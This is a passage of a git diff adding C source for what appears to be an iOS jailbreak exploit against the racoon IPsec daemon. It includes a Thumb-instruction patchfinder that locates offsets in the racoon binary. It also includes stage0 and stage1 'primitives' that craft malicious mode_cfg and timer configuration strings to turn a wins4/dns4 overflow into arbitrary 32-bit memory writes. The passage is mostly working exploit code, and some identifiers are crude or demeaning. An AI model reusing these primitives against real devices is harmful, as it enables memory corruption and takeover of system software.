+ uint16_t insn1 = *(i + 1);
+ uint32_t s = (insn0 >> 10) & 1;
+ uint32_t j1 = (insn1 >> 13) & 1;
+ uint32_t j2 = (insn1 >> 11) & 1;
+ uint32_t i1 = ~(j1 ^ s) & 1;
+ uint32_t i2 = ~(j2 ^ s) & 1;
+ uint32_t imm10 = insn0 & 0x3ff;
+ uint32_t imm11 = insn1 & 0x7ff;
+ uint32_t imm32 = (imm11 << 1) | (imm10 << 12) | (i2 << 22) | (i1 << 23) | (s ? 0xff000000 : 0);
+ return imm32;
+}
+
+static int insn_is_b_conditional(uint16_t* i) {
+ return (*i & 0xF000) == 0xD000 && (*i & 0x0F00) != 0x0F00 && (*i & 0x0F00) != 0xE;
+}
+
+static int insn_is_b_unconditional(uint16_t* i) {
+ if ((*i & 0xF800) == 0xE000)
+ return 1;
+ else if ((*i & 0xF800) == 0xF000 && (*(i + 1) & 0xD000) == 9)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_is_ldr_literal(uint16_t* i) {
+ return (*i & 0xF800) == 0x4800 || (*i & 0xFF7F) == 0xF85F;
+}
+
+static int insn_ldr_literal_rt(uint16_t* i) {
+ if ((*i & 0xF800) == 0x4800)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFF7F) == 0xF85F)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_ldr_literal_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x4800)
+ return (*i & 0xF) << 2;
+ else if ((*i & 0xFF7F) == 0xF85F)
+ return (*(i + 1) & 0xFFF) * (((*i & 0x0800) == 0x0800) ? 1 : -1);
+ else
+ return 0;
+}
+
+// TODO: More encodings
+static int insn_is_ldr_imm(uint16_t* i) {
+ uint8_t opA = bit_range(*i, 15, 12);
+ uint8_t opB = bit_range(*i, 11, 9);
+
+ return opA == 6 && (opB & 4) == 4;
+}
+
+static int insn_ldr_imm_rt(uint16_t* i) {
+ return (*i & 7);
+}
+
+static int insn_ldr_imm_rn(uint16_t* i) {
+ return ((*i >> 3) & 7);
+}
+
+static int insn_ldr_imm_imm(uint16_t* i) {
+ return ((*i >> 6) & 0x1F);
+}
+
+// TODO: More encodings
+static int insn_is_ldrb_imm(uint16_t* i) {
+ return (*i & 0xF800) == 0x7800;
+}
+
+static int insn_ldrb_imm_rt(uint16_t* i) {
+ return (*i & 7);
+}
+
+static int insn_ldrb_imm_rn(uint16_t* i) {
+ return ((*i >> 3) & 7);
+}
+
+static int insn_ldrb_imm_imm(uint16_t* i) {
+ return ((*i >> 6) & 0x1F);
+}
+
+static int insn_is_ldr_reg(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_ldr_reg_rn(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return (*i >> 3) & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+int insn_ldr_reg_rt(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return *i & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+int insn_ldr_reg_rm(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return (*i >> 6) & 0x7;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return *(i + 1) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_ldr_reg_lsl(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x5800)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF850 && (*(i + 1) & 0x0FC0) == 0x0000)
+ return (*(i + 1) >> 4) & 0x3;
+ else
+ return 0;
+}
+
+static int insn_is_add_reg(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return 1;
+ else if ((*i & 0xFF00) == 0x4400)
+ return 1;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_add_reg_rd(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return (*i & 7);
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i & 7) | ((*i & 0x80) >> 4) ;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return (*(i + 1) >> 8) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_add_reg_rn(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return ((*i >> 3) & 7);
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i & 7) | ((*i & 0x80) >> 4) ;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+static int insn_add_reg_rm(uint16_t* i) {
+ if ((*i & 0xFE00) == 0x1800)
+ return (*i >> 6) & 7;
+ else if ((*i & 0xFF00) == 0x4400)
+ return (*i >> 3) & 0xF;
+ else if ((*i & 0xFFE0) == 0xEB00)
+ return *(i + 1) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_is_movt(uint16_t* i) {
+ return (*i & 0xFBF0) == 0xF2C0 && (*(i + 1) & 0x8000) == 0;
+}
+
+static int insn_movt_rd(uint16_t* i) {
+ return (*(i + 1) >> 8) & 0xF;
+}
+
+static int insn_movt_imm(uint16_t* i) {
+ return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF);
+}
+
+static int insn_is_mov_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return 1;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return 1;
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_mov_imm_rd(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return (*(i + 1) >> 8) & 0xF;
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return (*(i + 1) >> 8) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_mov_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2000)
+ return *i & 0xF;
+ else if ((*i & 0xFBEF) == 0xF04F && (*(i + 1) & 0x8000) == 0)
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+ else if ((*i & 0xFBF0) == 0xF240 && (*(i + 1) & 0x8000) == 0)
+ return ((*i & 0xF) << 12) | ((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF);
+ else
+ return 0;
+}
+
+static int insn_is_cmp_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return 1;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_cmp_imm_rn(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return *i & 0xF;
+ else
+ return 0;
+}
+
+static int insn_cmp_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x2800)
+ return *i & 0xFF;
+ else if ((*i & 0xFBF0) == 0xF1B0 && (*(i + 1) & 0x8F00) == 0x0F00)
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+ else
+ return 0;
+}
+
+static int insn_is_and_imm(uint16_t* i) {
+ return (*i & 0xFBE0) == 0xF000 && (*(i + 1) & 0x8000) == 0;
+}
+
+static int insn_and_imm_rn(uint16_t* i) {
+ return *i & 0xF;
+}
+
+static int insn_and_imm_rd(uint16_t* i) {
+ return (*(i + 1) >> 8) & 0xF;
+}
+
+static int insn_and_imm_imm(uint16_t* i) {
+ return thumb_expand_imm_c(((*i & 0x0400) << 1) | ((*(i + 1) & 0x7000) >> 4) | (*(i + 1) & 0xFF));
+}
+
+static int insn_is_push(uint16_t* i) {
+ if ((*i & 0xFE00) == 0xB400)
+ return 1;
+ else if (*i == 0xE92D)
+ return 1;
+ else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_push_registers(uint16_t* i) {
+ if ((*i & 0xFE00) == 0xB400)
+ return (*i & 0x00FF) | ((*i & 0x0100) << 6);
+ else if (*i == 0xE92D)
+ return *(i + 1);
+ else if (*i == 0xF84D && (*(i + 1) & 0x0FFF) == 0x0D04)
+ return 1 << ((*(i + 1) >> 12) & 0xF);
+ else
+ return 0;
+}
+
+static int insn_is_preamble_push(uint16_t* i) {
+ return insn_is_push(i) && (insn_push_registers(i) & (1 << 14)) != 0;
+}
+
+static int insn_is_str_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 1;
+ else if ((*i & 0xF800) == 0x9000)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_postindexed(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 1;
+ else if ((*i & 0xF800) == 0x9000)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 1;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 10) & 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_wback(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return 0;
+ else if ((*i & 0xF800) == 0x9000)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return 0;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 8) & 1;
+ else
+ return 0;
+}
+
+static int insn_str_imm_imm(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i & 0x07C0) >> 4;
+ else if ((*i & 0xF800) == 0x9000)
+ return (*i & 0xFF) << 2;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return (*(i + 1) & 0xFFF);
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) & 0xFF);
+ else
+ return 0;
+}
+
+static int insn_str_imm_rt(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i & 7);
+ else if ((*i & 0xF800) == 0x9000)
+ return (*i >> 8) & 7;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return (*(i + 1) >> 12) & 0xF;
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*(i + 1) >> 12) & 0xF;
+ else
+ return 0;
+}
+
+static int insn_str_imm_rn(uint16_t* i) {
+ if ((*i & 0xF800) == 0x6000)
+ return (*i >> 3) & 7;
+ else if ((*i & 0xF800) == 0x9000)
+ return 13;
+ else if ((*i & 0xFFF0) == 0xF8C0)
+ return (*i & 0xF);
+ else if ((*i & 0xFFF0) == 0xF840 && (*(i + 1) & 0x0800) == 0x0800)
+ return (*i & 0xF);
+ else
+ return 0;
+}
+
+// Given an instruction, search backwards until an instruction is found matching the specified criterion.
+static uint16_t* find_last_insn_matching(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* current_instruction, int (*match_func)(uint16_t*)) {
+ while ((uintptr_t)current_instruction > (uintptr_t)kdata) {
+ if (insn_is_32bit(current_instruction - 2) && !insn_is_32bit(current_instruction - 3)) {
+ current_instruction -= 2;
+ } else {
+ --current_instruction;
+ }
+
+ if (match_func(current_instruction)) {
+ return current_instruction;
+ }
+ }
+
+ return NULL;
+}
+
+// Given an instruction and a register, find the PC-relative address that was stored inside the register by the time the instruction was reached.
+static uint32_t find_pc_rel_value(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, int reg) {
+ // Find the last instruction that completely wiped out this register
+ int found = 0;
+ uint16_t* current_instruction = insn;
+ while ((uintptr_t)current_instruction > (uintptr_t)kdata) {
+ if (insn_is_32bit(current_instruction - 2)) {
+ current_instruction -= 2;
+ } else {
+ --current_instruction;
+ }
+
+ if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) {
+ found = 1;
+ break;
+ }
+
+ if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) {
+ found = 1;
+ break;
+ }
+ }
+
+ if (!found)
+ return 0;
+
+ // Step through instructions, executing them as a virtual machine, only caring about instructions that affect the target register and are commonly used for PC-relative addressing.
+ uint32_t value = 0;
+ while ((uintptr_t)current_instruction < (uintptr_t)insn) {
+ if (insn_is_mov_imm(current_instruction) && insn_mov_imm_rd(current_instruction) == reg) {
+ value = insn_mov_imm_imm(current_instruction);
+ } else if (insn_is_ldr_literal(current_instruction) && insn_ldr_literal_rt(current_instruction) == reg) {
+ value = *(uint32_t*)(kdata + (((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction)));
+ } else if (insn_is_movt(current_instruction) && insn_movt_rd(current_instruction) == reg) {
+ value |= insn_movt_imm(current_instruction) << 16;
+ } else if (insn_is_add_reg(current_instruction) && insn_add_reg_rd(current_instruction) == reg) {
+ if (insn_add_reg_rm(current_instruction) != 15 || insn_add_reg_rn(current_instruction) != reg) {
+ // Can't handle this kind of operation!
+ return 0;
+ }
+
+ value += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4;
+ }
+
+ current_instruction += insn_is_32bit(current_instruction) ? 2 : 1;
+ }
+
+ return value;
+}
+
+// Find PC-relative references to a certain address (relative to kdata). This is basically a virtual machine that only cares about instructions used in PC-relative addressing, so no branches, etc.
+static uint16_t* find_literal_ref(uint32_t region, uint8_t* kdata, size_t ksize, uint16_t* insn, uint32_t address) {
+ uint16_t* current_instruction = insn;
+ uint32_t value[16];
+ memset(value, 0, sizeof(value));
+
+ while ((uintptr_t)current_instruction < (uintptr_t)(kdata + ksize)) {
+ if (insn_is_mov_imm(current_instruction)) {
+ value[insn_mov_imm_rd(current_instruction)] = insn_mov_imm_imm(current_instruction);
+ } else if (insn_is_ldr_literal(current_instruction)) {
+ uintptr_t literal_address = (uintptr_t)kdata + ((((uintptr_t)current_instruction - (uintptr_t)kdata) + 4) & 0xFFFFFFFC) + insn_ldr_literal_imm(current_instruction);
+ if (literal_address >= (uintptr_t)kdata && (literal_address + 4) <= ((uintptr_t)kdata + ksize)) {
+ value[insn_ldr_literal_rt(current_instruction)] = *(uint32_t*)(literal_address);
+ }
+ } else if (insn_is_movt(current_instruction)) {
+ value[insn_movt_rd(current_instruction)] |= insn_movt_imm(current_instruction) << 16;
+ } else if (insn_is_add_reg(current_instruction)) {
+ int reg = insn_add_reg_rd(current_instruction);
+ if (insn_add_reg_rm(current_instruction) == 15 && insn_add_reg_rn(current_instruction) == reg) {
+ value[reg] += ((uintptr_t)current_instruction - (uintptr_t)kdata) + 4;
+ if (value[reg] == address) {
+ return current_instruction;
+ }
+ }
+ }
+
+ current_instruction += insn_is_32bit(current_instruction) ? 2 : 1;
+ }
+
+ return NULL;
+}
+
+struct find_search_mask {
+ uint16_t mask;
+ uint16_t value;
+};
+
+// Search the range of kdata for a series of 16-bit values that match the search mask.
+static uint16_t* find_with_search_mask(uint32_t region, uint8_t* kdata, size_t ksize, int num_masks, const struct find_search_mask* masks) {
+ uint16_t* end = (uint16_t*)(kdata + ksize - (num_masks * sizeof(uint16_t)));
+ uint16_t* cur;
+ for(cur = (uint16_t*) kdata; cur <= end; ++cur) {
+ int matched = 1;
+ int i;
+ for(i = 0; i < num_masks; ++i) {
+ if ((*(cur + i) & masks[i].mask) != masks[i].value) {
+ matched = 0;
+ break;
+ }
+ }
+
+ if (matched)
+ return cur;
+ }
+
+ return NULL;
+}
+
+/*
+ * stolen from CBPatcher
+ */
+/* Some stuff from https://github.com/kpwn/yalu/blob/master/data/dyldmagic/libxnuexp.m, courtesy of qwertyoruiop */
+
+/* Find start of a section in a macho */
+struct section *find_section(struct segment_command *seg, const char *name)
+{
+ struct section *sect, *fs = NULL;
+ uint32_t i = 0;
+ for (i = 0, sect = (struct section *)((uintptr_t)seg + (uintptr_t)sizeof(struct segment_command));
+ i < seg->nsects;
+ i++, sect = (struct section*)((uintptr_t)sect + sizeof(struct section)))
+ {
+ if (!strcmp(sect->sectname, name)) {
+ fs = sect;
+ break;
+ }
+ }
+ return fs;
+}
+
+/* Find start of a load command in a macho */
+struct load_command *find_load_command(struct mach_header *mh, uint32_t cmd) {
+ struct load_command *lc, *flc;
+
+ lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header));
+
+ while (1) {
+ if ((uintptr_t)lc->cmd == cmd) {
+ flc = (struct load_command *)(uintptr_t)lc;
+ break;
+ }
+ lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize);
+ }
+ return flc;
+}
+
+/* Find start of a segment in a macho */
+struct segment_command *find_segment(struct mach_header *mh, const char *segname) {
+ struct load_command *lc;
+ struct segment_command *s, *fs = NULL;
+ lc = (struct load_command *)((uintptr_t)mh + sizeof(struct mach_header));
+ while ((uintptr_t)lc < (uintptr_t)mh + (uintptr_t)mh->sizeofcmds) {
+ if (lc->cmd == LC_SEGMENT) {
+ s = (struct segment_command *)lc;
+ if (!strcmp(s->segname, segname)) {
+ fs = s;
+ break;
+ }
+ }
+ lc = (struct load_command *)((uintptr_t)lc + (uintptr_t)lc->cmdsize);
+ }
+ return fs;
+}
+
+/* Find offset of an exported symbol in a macho */
+void* find_sym(struct mach_header *mh, const char *name) {
+ struct segment_command* first = (struct segment_command*) find_load_command(mh, LC_SEGMENT);
+ struct symtab_command* symtab = (struct symtab_command*) find_load_command(mh, LC_SYMTAB);
+ vm_address_t vmaddr_slide = (vm_address_t)mh - (vm_address_t)first->vmaddr;
+
+ char* sym_str_table = (char*) (((char*)mh) + symtab->stroff);
+ struct nlist* sym_table = (struct nlist*)(((char*)mh) + symtab->symoff);
+
+ for (int i = 0; i < symtab->nsyms; i++) {
+ if (sym_table[i].n_value && !strcmp(name,&sym_str_table[sym_table[i].n_un.n_strx])) {
+ return (void*)(uintptr_t)(sym_table[i].n_value + vmaddr_slide);
+ }
+ }
+ return 0;
+}
+
+uint32_t get_offset_to_binary_of_bytes(uint8_t* bin,
+ uint32_t bin_len,
+ uint8_t* what,
+ uint32_t what_len) {
+ uint8_t* tmp = memmem(bin, bin_len, what, what_len);
+ if (tmp == NULL)
+ return -1;
+
+ return tmp - bin;
+}
+
+#include <stdint.h>
+
+uint16_t swap_uint16(uint16_t val) {
+ return (val << 8) | (val >> 8);
+}
+
+uint32_t swap_uint32(uint32_t val) {
+ val = ((val << 8) & 0xFF00FF00) | ((val >> 8) & 0xFF00FF);
+ return (val << 16) | (val >> 16);
+}
+
+uint32_t weird_swap(uint32_t lol) {
+ return (swap_uint16((lol & 0xffff0000) >> 16) << 16) | swap_uint16(lol & 0xffff);
+}
+
+uint16_t get_movw_arg(uint32_t movw) {
+ /*
+ * garbage
+ */
+ uint32_t arg = 0;
+ uint32_t movw_just_arg = weird_swap(movw);
+ arg |= (movw_just_arg & 0xff) << 0;
+ arg |= ((movw_just_arg & 0x7000) >> 12) << 8;
+ arg |= ((movw_just_arg & 0xf0000) >> 16) << 12;
+ arg |= ((movw_just_arg & 0x4000000) >> 26) << 11;
+
+ return arg;
+}
+
+uint32_t find_dns4_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* sysctl_arg = "net.inet.ipsec.esp_port";
+ char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg));
+ uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin);
+ uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy);
+ uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin);
+ uint32_t ref_to_dns4;
+ uintptr_t the_movw;
+ for (int i = 0; i < 0x100; i++) {
+ uintptr_t test_me = (uintptr_t)ref_ptr;
+ test_me += i;
+ if (insn_is_movt((uint16_t*)test_me)) {
+ the_movw = (uintptr_t)ref_ptr;
+ the_movw += i;
+ the_movw -= 4;
+ break;
+ }
+// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) {
+// ref_to_dns4 = ref + (i - 2);
+// break;
+// }
+ }
+
+ uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin);
+
+ uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw);
+ uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4));
+ uint32_t movw_arg = get_movw_arg(movw_raw);
+ uint32_t movt_arg = get_movw_arg(movt_raw);
+
+ uint32_t offset_to_pc = (movt_arg << 16) | movw_arg;
+ uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8);
+ uint32_t ref_dns4_offset = offset_to_pc + pc + 0x4;
+
+ uint32_t autism = ref_dns4_offset;
+// printf("0x%08x\n", autism);
+
+ return *(uint32_t*)(bin + autism) + 0x8;
+}
+
+uint32_t find_lc_conf_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* sysctl_arg = "net.inet.ipsec.esp_port";
+ char* sysctl_arg_ptr = memmem(bin, size, sysctl_arg, strlen(sysctl_arg));
+ uint32_t sysctl_arg_addy = (uint32_t)(((uintptr_t)sysctl_arg_ptr) - (uintptr_t)bin);
+ uint16_t* ref_ptr = find_literal_ref(region, bin, size, (uint16_t*)bin, sysctl_arg_addy);
+ uint32_t ref = (uint32_t)(((uintptr_t)ref_ptr) - (uintptr_t)bin);
+ uint32_t ref_to_dns4;
+ uintptr_t the_movw;
+ for (int i = 0; i < 0x100; i++) {
+ uintptr_t test_me = (uintptr_t)ref_ptr;
+ test_me += i;
+ if (insn_is_movt((uint16_t*)test_me)) {
+ the_movw = (uintptr_t)ref_ptr;
+ the_movw += i;
+ the_movw -= 4;
+ break;
+ }
+// if (insn_ldr_imm_rt(ref_ptr + i) == 0 && insn_ldr_imm_imm(ref_ptr + i) == 0) {
+// ref_to_dns4 = ref + (i - 2);
+// break;
+// }
+ }
+
+ uint32_t first_movw = (uint32_t)(the_movw - (uintptr_t)bin);
+
+ uint32_t movw_raw = swap_uint32(*(uint32_t*)the_movw);
+ uint32_t movt_raw = swap_uint32(*(uint32_t*)(the_movw + 4));
+ uint32_t movw_arg = get_movw_arg(movw_raw);
+ uint32_t movt_arg = get_movw_arg(movt_raw);
+
+ uint32_t offset_to_pc = (movt_arg << 16) | movw_arg;
+ uint32_t pc = (the_movw - ((uintptr_t)bin) + 0x8);
+ uint32_t ref_dns4_offset = offset_to_pc + pc + 0x8;
+
+ uint32_t autism = ref_dns4_offset;
+// printf("0x%08x\n", autism);
+
+ return *(uint32_t*)(bin + autism);
+}
+
+uint32_t find_printf_addr(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* usage_racoon_str = "usage: racoon";
+ uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str));
+ uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset);
+ uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin);
+ uintptr_t the_blx;
+ for (int i = 0; i < 0x100; i += 2) {
+ uintptr_t test_me = (uintptr_t)usage_ref;
+ test_me += i;
+ if (insn_is_bl((uint16_t*)test_me)) {
+ the_blx = (uintptr_t)usage_ref;
+ the_blx += i;
+ break;
+ }
+ }
+
+ uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 8 + 0x4000;
+
+ return printf_symbolstub_addr;
+}
+
+uint32_t find_puts_addr(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ char* usage_racoon_str = "usage: racoon";
+ uint32_t usage_offset = get_offset_to_binary_of_bytes(bin, size, (uint8_t*)usage_racoon_str, strlen(usage_racoon_str));
+ uint16_t* usage_ref = find_literal_ref(region, bin, size, (uint16_t*)bin, usage_offset);
+ uint32_t usage_ref_addr = (uint32_t)((void*)usage_ref - (void*)bin);
+ uintptr_t the_blx;
+ int count = 0;
+ for (int i = 0; i < 0x100; i += 2) {
+ uintptr_t test_me = (uintptr_t)usage_ref;
+ test_me += i;
+ if (insn_is_bl((uint16_t*)test_me)) {
+ the_blx = (uintptr_t)usage_ref;
+ the_blx += i;
+ usage_ref_addr = (void*)the_blx - (void*)bin;
+ count++;
+ if (count == 2)
+ break;
+ }
+ }
+
+ uint32_t printf_symbolstub_addr = insn_bl_imm32((uint16_t*)the_blx) + usage_ref_addr + 4 + 0x4000;
+
+ return printf_symbolstub_addr;
+}
+
+void sandbox(uint32_t region,
+ uint8_t* bin,
+ size_t size) {
+ //
+} \ No newline at end of file
diff --git a/src/patchfinder.h b/src/patchfinder.h
new file mode 100755
index 0000000..21af7e3
--- /dev/null
+++ b/src/patchfinder.h
@@ -0,0 +1,14 @@
+#ifndef PATCHFINDER_H
+#define PATCHFINDER_H
+
+#include <stdint.h>
+
+uint32_t find_dns4_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size);
+
+uint32_t find_lc_conf_offset(uint32_t region,
+ uint8_t* bin,
+ size_t size);
+
+#endif \ No newline at end of file
diff --git a/src/shit.c b/src/shit.c
new file mode 100644
index 0000000..ef354d4
--- /dev/null
+++ b/src/shit.c
@@ -0,0 +1,32 @@
+#include <stdarg.h>
+#include "common.h"
+#include <stdio.h>
+#include "shit.h"
+
+extern FILE* fp;
+
+int _asprintf(char **strp, const char *fmt, ...) {
+ va_list ap;
+ char* tmp = NULL;
+
+ *strp = "";
+
+ /*
+ * shit
+ */
+
+ va_start(ap, fmt);
+ vfprintf(fp, fmt, ap);
+ va_end(ap);
+
+#if 0
+ strcpy(fuck_memory_leaks, tmp);
+
+ if (strp)
+ *strp = fuck_memory_leaks;
+
+ free(tmp);
+#endif
+
+ return 0;
+} \ No newline at end of file
diff --git a/src/shit.h b/src/shit.h
new file mode 100644
index 0000000..d97a995
--- /dev/null
+++ b/src/shit.h
@@ -0,0 +1,6 @@
+#ifndef SHIT_H
+#define SHIT_H
+
+int _asprintf(char **strp, const char *fmt, ...);
+
+#endif \ No newline at end of file
diff --git a/src/stage0_primitives.c b/src/stage0_primitives.c
new file mode 100755
index 0000000..b54cb1a
--- /dev/null
+++ b/src/stage0_primitives.c
@@ -0,0 +1,46 @@
+/*
+ * stage0_primitives
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "stage0_primitives.h"
+#include "ip_tools.h"
+#include "common.h"
+#include <string.h>
+#include "shit.h"
+
+//#define DNS4_OFFSET 0xb6c10
+
+char* write32_slid(uint32_t where,
+ uint32_t what) {
+ char* where_ip = NULL;
+ char* what_ip = NULL;
+ char* ret = NULL;
+
+ uint32_t where_ = where - DNS4_OFFSET;
+ where_ >>= 2;
+ where_ += 0x80000000;
+
+ where_ip = uint32_t_to_ip(where_);
+ what_ip = uint32_t_to_ip(what);
+
+ asprintf(&ret, "mode_cfg{"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins41.3.3.7;"
+ "wins4255.255.255.255;"
+ "wins4%s;"
+ "dns4%s;"
+ "}",
+ where_ip,
+ what_ip);
+
+ strcpy(fuck_memory_leaks, ret);
+
+ free(ret);
+
+ return fuck_memory_leaks;
+} \ No newline at end of file
diff --git a/src/stage0_primitives.h b/src/stage0_primitives.h
new file mode 100755
index 0000000..a9a71eb
--- /dev/null
+++ b/src/stage0_primitives.h
@@ -0,0 +1,10 @@
+#ifndef STAGE0_PRIMITIVES_H
+#define STAGE0_PRIMITIVES_H
+
+#include <stdint.h>
+
+extern uint32_t DNS4_OFFSET;
+char* write32_slid(uint32_t where,
+ uint32_t what);
+
+#endif \ No newline at end of file
diff --git a/src/stage1_primitives.c b/src/stage1_primitives.c
new file mode 100755
index 0000000..ffe7b53
--- /dev/null
+++ b/src/stage1_primitives.c
@@ -0,0 +1,168 @@
+/*
+ * stage1_primitives
+ */
+
+#include <stdint.h>
+#include <stdio.h>
+
+#include "stage1_primitives.h"
+#include "stage0_primitives.h"
+#include "ip_tools.h"
+#include "common.h"
+#include <string.h>
+#include "shit.h"
+
+//#define LC_CONF_OFFSET 0xb6088
+
+extern FILE* fp;
+
+char* write32_unslid(uint32_t where,
+ uint32_t what) {
+ char* ret = "";
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_slid(LC_CONF_OFFSET,
+ where - 0xa0));
+ _asprintf(&ret,
+ "%s"
+ "timer{"
+ "counter%u;"
+ "}",
+ ret,
+ what);
+
+ return ret;
+}
+
+char* write32_unslid_pre(uint32_t where) {
+ char* ret = "";
+ _asprintf(&ret,
+ "%s%s",
+ ret,
+ write32_slid(LC_CONF_OFFSET,
+ where - 0xa0));
+ return ret;
+}
+
